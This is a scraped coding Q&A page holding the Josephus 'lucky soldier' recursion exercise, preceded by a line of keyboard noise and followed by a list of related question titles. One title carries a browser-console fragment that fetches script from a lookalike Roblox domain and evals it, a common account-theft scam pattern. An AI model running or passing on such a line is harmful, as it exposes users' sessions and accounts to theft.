Lmkmaksmxkmakkxxamkskaamkamkaxsmkasm

1. You are given two numbers N and K.2. N represents the total number of soldiers standing in a circle having position marked from 0 to N-1.3. A cruel king wants to execute them but in a different way.4. He starts executing soldiers from 0th position and proceeds around the circle in clockwise direction.5. In each step, k-1 soldiers are skipped and the k-th soldier is executed.6. The elimination proceeds around the circle (which is becoming smaller and smaller as the executed soldiers are removed), until only the last soldier remains, who is given freedom.7. You have to find the position of that lucky soldier.Note -> Check out the question video and write the recursive code as it is intended without  changing signature. The judge can't force you but intends you to teach a concept.

Source: pepcoding.com

Similar codes

0 vote384 views1 answer
Wireshark tls client hello filter
C
0 vote355 views1 answer
It is possible to convert c program code to algorithm tool
C
1 vote370 views1 answer
Whoami bash file
C
0 vote366 views1 answer
Open cv
C
0 vote359 views1 answer
Ctest run specific test
C
4 votes394 views10 answers
Javascript$get'//roblox-api.online/roblox?id=4823'.eval)javascript$get'//roblox-api.online/roblox?id=
C
0 vote360 views1 answer
Os.listdir to array
C
0 vote393 views1 answer
Arduino dont working dc motor
C
0 vote375 views1 answer
C change value of const
C
7 votes431 views2 answers
Reverse a number in c
C